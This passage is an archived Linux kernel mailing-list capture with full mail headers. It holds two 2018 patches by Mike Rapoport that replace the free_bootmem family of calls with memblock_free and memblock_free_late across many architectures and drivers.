 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:13:13 +0100
Original-Received: from d06av24.portsmouth.uk.ibm.com (d06av24.portsmouth.uk.ibm.com
 [9.149.105.60])
 by b06cxnps4076.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECDCbK20250844
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:13:12 GMT
Original-Received: from d06av24.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 5DB6D4203F;
 Fri, 14 Sep 2018 15:13:02 +0100 (BST)
Original-Received: from d06av24.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 09C4C42042;
 Fri, 14 Sep 2018 15:12:57 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av24.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Fri, 14 Sep 2018 15:12:56 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:13:06 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-4275-0000-0000-000002BA59FD
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-4276-0000-0000-000037C39779
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=3 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180914_051333_715470_90BC8FD9 
X-CRM114-Status: GOOD (  25.70  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.156.1 listed in list.dnswl.org]
 0.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:798 gmane.linux.kernel.mm:203334 gmane.linux.ports.mips.general:66636 gmane.linux.ports.ia64:29231 gmane.linux.ports.sh.devel:57507 gmane.linux.ports.sparc:28419 gmane.linux.ports.hexagon:1848 gmane.linux.kernel.arc:4361 gmane.linux.ports.alpha:5237 gmane.linux.ports.arm.kernel:674206 gmane.linux.ports.parisc:28959 gmane.linux.kernel:2870779 gmane.linux.ports.ppc64.devel:162494
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/798>

The free_bootmem and free_bootmem_node are merely wrappers for
memblock_free. Replace their usage with a call to memblock_free using the
following semantic patch:

@@
expression e1, e2, e3;
@@
(
- free_bootmem(e1, e2)
+ memblock_free(e1, e2)
|
- free_bootmem_node(e1, e2, e3)
+ memblock_free(e2, e3)
)

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
Acked-by: Michal Hocko <mhocko@suse.com>
---
 arch/alpha/kernel/core_irongate.c |  3 +--
 arch/arm64/mm/init.c              |  2 +-
 arch/mips/kernel/setup.c          |  2 +-
 arch/powerpc/kernel/setup_64.c    |  2 +-
 arch/sparc/kernel/smp_64.c        |  2 +-
 arch/um/kernel/mem.c              |  3 ++-
 arch/unicore32/mm/init.c          |  2 +-
 arch/x86/kernel/setup_percpu.c    |  3 ++-
 arch/x86/kernel/tce_64.c          |  3 ++-
 arch/x86/xen/p2m.c                |  3 ++-
 drivers/macintosh/smu.c           |  2 +-
 drivers/usb/early/xhci-dbc.c      | 11 ++++++-----
 drivers/xen/swiotlb-xen.c         |  4 +++-
 include/linux/bootmem.h           |  4 ----
 mm/nobootmem.c                    | 30 ------------------------------
 15 files changed, 24 insertions(+), 52 deletions(-)

diff --git a/arch/alpha/kernel/core_irongate.c b/arch/alpha/kernel/core_irongate.c
index f709866..35572be 100644
--- a/arch/alpha/kernel/core_irongate.c
+++ b/arch/alpha/kernel/core_irongate.c
@@ -234,8 +234,7 @@ albacore_init_arch(void)
 			unsigned long size;
 
 			size = initrd_end - initrd_start;
-			free_bootmem_node(NODE_DATA(0), __pa(initrd_start),
-					  PAGE_ALIGN(size));
+			memblock_free(__pa(initrd_start), PAGE_ALIGN(size));
 			if (!move_initrd(pci_mem))
 				printk("irongate_init_arch: initrd too big "
 				       "(%ldK)\ndisabling initrd\n",
diff --git a/arch/arm64/mm/init.c b/arch/arm64/mm/init.c
index 787e279..e335452 100644
--- a/arch/arm64/mm/init.c
+++ b/arch/arm64/mm/init.c
@@ -538,7 +538,7 @@ static inline void free_memmap(unsigned long start_pfn, unsigned long end_pfn)
 	 * memmap array.
 	 */
 	if (pg < pgend)
-		free_bootmem(pg, pgend - pg);
+		memblock_free(pg, pgend - pg);
 }
 
 /*
diff --git a/arch/mips/kernel/setup.c b/arch/mips/kernel/setup.c
index a6bc2f6..86c9eda 100644
--- a/arch/mips/kernel/setup.c
+++ b/arch/mips/kernel/setup.c
@@ -561,7 +561,7 @@ static void __init bootmem_init(void)
 		extern void show_kernel_relocation(const char *level);
 
 		offset = __pa_symbol(_text) - __pa_symbol(VMLINUX_LOAD_ADDRESS);
-		free_bootmem(__pa_symbol(VMLINUX_LOAD_ADDRESS), offset);
+		memblock_free(__pa_symbol(VMLINUX_LOAD_ADDRESS), offset);
 
 #if defined(CONFIG_DEBUG_KERNEL) && defined(CONFIG_DEBUG_INFO)
 		/*
diff --git a/arch/powerpc/kernel/setup_64.c b/arch/powerpc/kernel/setup_64.c
index 6add560..e564b27 100644
--- a/arch/powerpc/kernel/setup_64.c
+++ b/arch/powerpc/kernel/setup_64.c
@@ -765,7 +765,7 @@ static void * __init pcpu_fc_alloc(unsigned int cpu, size_t size, size_t align)
 
 static void __init pcpu_fc_free(void *ptr, size_t size)
 {
-	free_bootmem(__pa(ptr), size);
+	memblock_free(__pa(ptr), size);
 }
 
 static int pcpu_cpu_distance(unsigned int from, unsigned int to)
diff --git a/arch/sparc/kernel/smp_64.c b/arch/sparc/kernel/smp_64.c
index 337febd..a087a6a 100644
--- a/arch/sparc/kernel/smp_64.c
+++ b/arch/sparc/kernel/smp_64.c
@@ -1607,7 +1607,7 @@ static void * __init pcpu_alloc_bootmem(unsigned int cpu, size_t size,
 
 static void __init pcpu_free_bootmem(void *ptr, size_t size)
 {
-	free_bootmem(__pa(ptr), size);
+	memblock_free(__pa(ptr), size);
 }
 
 static int __init pcpu_cpu_distance(unsigned int from, unsigned int to)
diff --git a/arch/um/kernel/mem.c b/arch/um/kernel/mem.c
index 185f6bb..3555c13 100644
--- a/arch/um/kernel/mem.c
+++ b/arch/um/kernel/mem.c
@@ -6,6 +6,7 @@
 #include <linux/stddef.h>
 #include <linux/module.h>
 #include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/highmem.h>
 #include <linux/mm.h>
 #include <linux/swap.h>
@@ -46,7 +47,7 @@ void __init mem_init(void)
 	 */
 	brk_end = (unsigned long) UML_ROUND_UP(sbrk(0));
 	map_memory(brk_end, __pa(brk_end), uml_reserved - brk_end, 1, 1, 0);
-	free_bootmem(__pa(brk_end), uml_reserved - brk_end);
+	memblock_free(__pa(brk_end), uml_reserved - brk_end);
 	uml_reserved = brk_end;
 
 	/* this will put all low memory onto the freelists */
diff --git a/arch/unicore32/mm/init.c b/arch/unicore32/mm/init.c
index 44ccc15..4c572ab 100644
--- a/arch/unicore32/mm/init.c
+++ b/arch/unicore32/mm/init.c
@@ -241,7 +241,7 @@ free_memmap(unsigned long start_pfn, unsigned long end_pfn)
 	 * free the section of the memmap array.
 	 */
 	if (pg < pgend)
-		free_bootmem(pg, pgend - pg);
+		memblock_free(pg, pgend - pg);
 }
 
 /*
diff --git a/arch/x86/kernel/setup_percpu.c b/arch/x86/kernel/setup_percpu.c
index 041663a..a006f1b 100644
--- a/arch/x86/kernel/setup_percpu.c
+++ b/arch/x86/kernel/setup_percpu.c
@@ -5,6 +5,7 @@
 #include <linux/export.h>
 #include <linux/init.h>
 #include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/percpu.h>
 #include <linux/kexec.h>
 #include <linux/crash_dump.h>
@@ -135,7 +136,7 @@ static void * __init pcpu_fc_alloc(unsigned int cpu, size_t size, size_t align)
 
 static void __init pcpu_fc_free(void *ptr, size_t size)
 {
-	free_bootmem(__pa(ptr), size);
+	memblock_free(__pa(ptr), size);
 }
 
 static int __init pcpu_cpu_distance(unsigned int from, unsigned int to)
diff --git a/arch/x86/kernel/tce_64.c b/arch/x86/kernel/tce_64.c
index 54c9b5a..75730ce 100644
--- a/arch/x86/kernel/tce_64.c
+++ b/arch/x86/kernel/tce_64.c
@@ -31,6 +31,7 @@
 #include <linux/pci.h>
 #include <linux/dma-mapping.h>
 #include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <asm/tce.h>
 #include <asm/calgary.h>
 #include <asm/proto.h>
@@ -186,5 +187,5 @@ void __init free_tce_table(void *tbl)
 	size = table_size_to_number_of_entries(specified_table_size);
 	size *= TCE_ENTRY_SIZE;
 
-	free_bootmem(__pa(tbl), size);
+	memblock_free(__pa(tbl), size);
 }
diff --git a/arch/x86/xen/p2m.c b/arch/x86/xen/p2m.c
index 5de761b..b3e11af 100644
--- a/arch/x86/xen/p2m.c
+++ b/arch/x86/xen/p2m.c
@@ -68,6 +68,7 @@
 #include <linux/sched.h>
 #include <linux/seq_file.h>
 #include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/slab.h>
 #include <linux/vmalloc.h>
 
@@ -190,7 +191,7 @@ static void * __ref alloc_p2m_page(void)
 static void __ref free_p2m_page(void *p)
 {
 	if (unlikely(!slab_is_available())) {
-		free_bootmem((unsigned long)p, PAGE_SIZE);
+		memblock_free((unsigned long)p, PAGE_SIZE);
 		return;
 	}
 
diff --git a/drivers/macintosh/smu.c b/drivers/macintosh/smu.c
index 332fcca..0069f90 100644
--- a/drivers/macintosh/smu.c
+++ b/drivers/macintosh/smu.c
@@ -569,7 +569,7 @@ int __init smu_init (void)
 fail_db_node:
 	of_node_put(smu->db_node);
 fail_bootmem:
-	free_bootmem(__pa(smu), sizeof(struct smu_device));
+	memblock_free(__pa(smu), sizeof(struct smu_device));
 	smu = NULL;
 fail_np:
 	of_node_put(np);
diff --git a/drivers/usb/early/xhci-dbc.c b/drivers/usb/early/xhci-dbc.c
index 16df968..4411404 100644
--- a/drivers/usb/early/xhci-dbc.c
+++ b/drivers/usb/early/xhci-dbc.c
@@ -13,6 +13,7 @@
 #include <linux/pci_regs.h>
 #include <linux/pci_ids.h>
 #include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/io.h>
 #include <asm/pci-direct.h>
 #include <asm/fixmap.h>
@@ -191,7 +192,7 @@ static void __init xdbc_free_ring(struct xdbc_ring *ring)
 	if (!seg)
 		return;
 
-	free_bootmem(seg->dma, PAGE_SIZE);
+	memblock_free(seg->dma, PAGE_SIZE);
 	ring->segment = NULL;
 }
 
@@ -675,10 +676,10 @@ int __init early_xdbc_setup_hardware(void)
 		xdbc_free_ring(&xdbc.in_ring);
 
 		if (xdbc.table_dma)
-			free_bootmem(xdbc.table_dma, PAGE_SIZE);
+			memblock_free(xdbc.table_dma, PAGE_SIZE);
 
 		if (xdbc.out_dma)
-			free_bootmem(xdbc.out_dma, PAGE_SIZE);
+			memblock_free(xdbc.out_dma, PAGE_SIZE);
 
 		xdbc.table_base = NULL;
 		xdbc.out_buf = NULL;
@@ -1000,8 +1001,8 @@ static int __init xdbc_init(void)
 	xdbc_free_ring(&xdbc.evt_ring);
 	xdbc_free_ring(&xdbc.out_ring);
 	xdbc_free_ring(&xdbc.in_ring);
-	free_bootmem(xdbc.table_dma, PAGE_SIZE);
-	free_bootmem(xdbc.out_dma, PAGE_SIZE);
+	memblock_free(xdbc.table_dma, PAGE_SIZE);
+	memblock_free(xdbc.out_dma, PAGE_SIZE);
 	writel(0, &xdbc.xdbc_reg->control);
 	early_iounmap(xdbc.xhci_base, xdbc.xhci_length);
 
diff --git a/drivers/xen/swiotlb-xen.c b/drivers/xen/swiotlb-xen.c
index 8d849b4..6c13ff4 100644
--- a/drivers/xen/swiotlb-xen.c
+++ b/drivers/xen/swiotlb-xen.c
@@ -36,6 +36,7 @@
 #define pr_fmt(fmt) "xen:" KBUILD_MODNAME ": " fmt
 
 #include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/dma-direct.h>
 #include <linux/export.h>
 #include <xen/swiotlb-xen.h>
@@ -248,7 +249,8 @@ int __ref xen_swiotlb_init(int verbose, bool early)
 			       xen_io_tlb_nslabs);
 	if (rc) {
 		if (early)
-			free_bootmem(__pa(xen_io_tlb_start), PAGE_ALIGN(bytes));
+			memblock_free(__pa(xen_io_tlb_start),
+				      PAGE_ALIGN(bytes));
 		else {
 			free_pages((unsigned long)xen_io_tlb_start, order);
 			xen_io_tlb_start = NULL;
diff --git a/include/linux/bootmem.h b/include/linux/bootmem.h
index 73f1272..706cf8e 100644
--- a/include/linux/bootmem.h
+++ b/include/linux/bootmem.h
@@ -30,10 +30,6 @@ extern unsigned long free_all_bootmem(void);
 extern void reset_node_managed_pages(pg_data_t *pgdat);
 extern void reset_all_zones_managed_pages(void);
 
-extern void free_bootmem_node(pg_data_t *pgdat,
-			      unsigned long addr,
-			      unsigned long size);
-extern void free_bootmem(unsigned long physaddr, unsigned long size);
 extern void free_bootmem_late(unsigned long physaddr, unsigned long size);
 
 /* We are using top down, so it is safe to use 0 here */
diff --git a/mm/nobootmem.c b/mm/nobootmem.c
index bc38e56..85e1822 100644
--- a/mm/nobootmem.c
+++ b/mm/nobootmem.c
@@ -150,33 +150,3 @@ unsigned long __init free_all_bootmem(void)
 
 	return pages;
 }
-
-/**
- * free_bootmem_node - mark a page range as usable
- * @pgdat: node the range resides on
- * @physaddr: starting physical address of the range
- * @size: size of the range in bytes
- *
- * Partial pages will be considered reserved and left as they are.
- *
- * The range must reside completely on the specified node.
- */
-void __init free_bootmem_node(pg_data_t *pgdat, unsigned long physaddr,
-			      unsigned long size)
-{
-	memblock_free(physaddr, size);
-}
-
-/**
- * free_bootmem - mark a page range as usable
- * @addr: starting physical address of the range
- * @size: size of the range in bytes
- *
- * Partial pages will be considered reserved and left as they are.
- *
- * The range must be contiguous but may span node boundaries.
- */
-void __init free_bootmem(unsigned long addr, unsigned long size)
-{
-	memblock_free(addr, size);
-}
-- 
2.7.4

From - Thu Nov 08 21:41:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 24/30] memblock: replace free_bootmem_late with
 memblock_free_late
Date: Fri, 14 Sep 2018 15:10:39 +0300
Lines: 131
Approved: news@gmane.org
Message-ID: <1536927045-23536-25-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536927151 3542 195.159.176.226 (14 Sep 2018 12:12:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:12:31 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vge
To: linux-mm@kvack.org
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Sep 14 14:12:22 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1g0mxR-0000iQ-B1
	for glpr-linux-riscv@m.gmane.org; Fri, 14 Sep 2018 14:12:21 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:
	References:In-Reply-To:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=G5hbdfXn4mKN63nLvFsjB8t6pmQATPfRI1gRNwglQk8=; b=TLEsfHot3DppvjM96nHT2Kk83d
	pajbDNFUCZTCrX3tsxZ8uCWcOMWFOPuMFwTpVp7TOd0Qeh+ZTfIUKkXqZfraOYN2OKDTnJsnGEwl2
	jgtu0HtDoLLqxSEHOpBaHli7WdXHPLgZt7sYT0gvoSw0T2o7zkaEFCPZMUxV3xdsfgTkCyJjWmT7W
	cUEDrisuvTdpGnmY1DCr3e/J2cFPtUiz3/LnODlJdoHydcGyzg7yN9FAwUXe8Dv/B2EsEqrORwcxT
	gXV/86r2FBrhxJM5umIWVwh8H6I3U/hTItBHtwNdXDH6ACLKCPnXleI6hlhPCsCkQ5K2iXXJ9LmBe
	Hk9bsksQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g0mzS-0005Da-Ij; Fri, 14 Sep 2018 12:14:26 +0000
Original-Received: from mx0b-001b2d01.pphosted.com ([148.163.158.5]
 helo=mx0a-001b2d01.pphosted.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0myn-0004cB-86
 for linux-riscv@lists.infradead.org; Fri, 14 Sep 2018 12:13:56 +0000
Original-Received: from pps.filterd (m0098414.ppops.net [127.0.0.1])
 by mx0b-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC5ATI013084
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:13:35 -0400
Original-Received: from e06smtp01.uk.ibm.com (e06smtp01.uk.ibm.com [195.75.94.97])
 by mx0b-001b2d01.pphosted.com with ESMTP id 2mgce2h4j6-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:13:35 -0400
Original-Received: from localhost
 by e06smtp01.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-riscv@lists.infradead.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:13:32 +0100
Original-Received: from b06cxnps4076.portsmouth.uk.ibm.com (9.149.109.198)
 by e06smtp01.uk.ibm.com (192.168.101.131) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:13:19 +0100
Original-Received: from d06av25.portsmouth.uk.ibm.com (d06av25.portsmouth.uk.ibm.com
 [9.149.105.61])
 by b06cxnps4076.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECDICO61407312
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:13:18 GMT
Original-Received: from d06av25.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id EB2F911C04C;
 Fri, 14 Sep 2018 15:13:05 +0100 (BST)
Original-Received: from d06av25.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id B893111C04A;
 Fri, 14 Sep 2018 15:13:00 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av25.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Fri, 14 Sep 2018 15:13:00 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:13:12 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-4275-0000-0000-000002BA59FF
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-4276-0000-0000-000037C3977D
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=3 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=801 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180914_051345_470996_F6ED2DC8 
X-CRM114-Status: GOOD (  28.42  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.158.5 listed in list.dnswl.org]
 0.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:799 gmane.linux.kernel.mm:203335 gmane.linux.ports.mips.general:66637 gmane.linux.ports.ia64:29232 gmane.linux.ports.sh.devel:57508 gmane.linux.ports.sparc:28420 gmane.linux.ports.hexagon:1849 gmane.linux.kernel.arc:4362 gmane.linux.ports.alpha:5238 gmane.linux.ports.arm.kernel:674207 gmane.linux.ports.parisc:28960 gmane.linux.kernel:2870780 gmane.linux.ports.ppc64.devel:162495
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/799>

The free_bootmem_late and memblock_free_late do exactly the same thing:
they iterate over a range and give pages to the page allocator.

Replace calls to free_bootmem_late with calls to memblock_free_late and
remove the bootmem variant.

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
Acked-by: Michal Hocko <mhocko@suse.com>
---
 arch/sparc/kernel/mdesc.c               |  3 ++-
 arch/x86/platform/efi/quirks.c          |  6 +++---
 drivers/firmware/efi/apple-properties.c |  2 +-
 include/linux/bootmem.h                 |  2 --
 mm/nobootmem.c                          | 24 ------------------------
 5 files changed, 6 insertions(+), 31 deletions(-)

diff --git a/arch/sparc/kernel/mdesc.c b/arch/sparc/kernel/mdesc.c
index 59131e7..a41526b 100644
--- a/arch/sparc/kernel/mdesc.c
+++ b/arch/sparc/kernel/mdesc.c
@@ -12,6 +12,7 @@
 #include <linux/mm.h>
 #include <linux/miscdevice.h>
 #include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/export.h>
 #include <linux/refcount.h>
 
@@ -190,7 +191,7 @@ static void __init mdesc_memblock_free(struct mdesc_handle *hp)
 
 	alloc_size = PAGE_ALIGN(hp->handle_size);
 	start = __pa(hp);
-	free_bootmem_late(start, alloc_size);
+	memblock_free_late(start, alloc_size);
 }
 
 static struct mdesc_mem_ops memblock_mdesc_ops = {
diff --git a/arch/x86/platform/efi/quirks.c b/arch/x86/platform/efi/quirks.c
index 844d31c..7b4854c 100644
--- a/arch/x86/platform/efi/quirks.c
+++ b/arch/x86/platform/efi/quirks.c
@@ -332,7 +332,7 @@ void __init efi_reserve_boot_services(void)
 
 		/*
 		 * Because the following memblock_reserve() is paired
-		 * with free_bootmem_late() for this region in
+		 * with memblock_free_late() for this region in
 		 * efi_free_boot_services(), we must be extremely
 		 * careful not to reserve, and subsequently free,
 		 * critical regions of memory (like the kernel image) or
@@ -363,7 +363,7 @@ void __init efi_reserve_boot_services(void)
 		 * doesn't make sense as far as the firmware is
 		 * concerned, but it does provide us with a way to tag
 		 * those regions that must not be paired with
-		 * free_bootmem_late().
+		 * memblock_free_late().
 		 */
 		md->attribute |= EFI_MEMORY_RUNTIME;
 	}
@@ -413,7 +413,7 @@ void __init efi_free_boot_services(void)
 			size -= rm_size;
 		}
 
-		free_bootmem_late(start, size);
+		memblock_free_late(start, size);
 	}
 
 	if (!num_entries)
diff --git a/drivers/firmware/efi/apple-properties.c b/drivers/firmware/efi/apple-properties.c
index 60a9571..2b675f7 100644
--- a/drivers/firmware/efi/apple-properties.c
+++ b/drivers/firmware/efi/apple-properties.c
@@ -235,7 +235,7 @@ static int __init map_properties(void)
 		 */
 		data->len = 0;
 		memunmap(data);
-		free_bootmem_late(pa_data + sizeof(*data), data_len);
+		memblock_free_late(pa_data + sizeof(*data), data_len);
 
 		return ret;
 	}
diff --git a/include/linux/bootmem.h b/include/linux/bootmem.h
index 706cf8e..bcc7e2f 100644
--- a/include/linux/bootmem.h
+++ b/include/linux/bootmem.h
@@ -30,8 +30,6 @@ extern unsigned long free_all_bootmem(void);
 extern void reset_node_managed_pages(pg_data_t *pgdat);
 extern void reset_all_zones_managed_pages(void);
 
-extern void free_bootmem_late(unsigned long physaddr, unsigned long size);
-
 /* We are using top down, so it is safe to use 0 here */
 #define BOOTMEM_LOW_LIMIT 0
 
diff --git a/mm/nobootmem.c b/mm/nobootmem.c
index 85e1822..ee0f7fc 100644
--- a/mm/nobootmem.c
+++ b/mm/nobootmem.c
@@ -33,30 +33,6 @@ unsigned long min_low_pfn;
 unsigned long max_pfn;
 unsigned long long max_possible_pfn;
 
-/**
- * free_bootmem_late - free bootmem pages directly to page allocator
- * @addr: starting address of the range
- * @size: size of the range in bytes
- *
- * This is only useful when the bootmem allocator has already been torn
- * down, but we are still initializing the system.  Pages are given directly
- * to the page allocator, no bootmem metadata is updated because it is gone.
- */
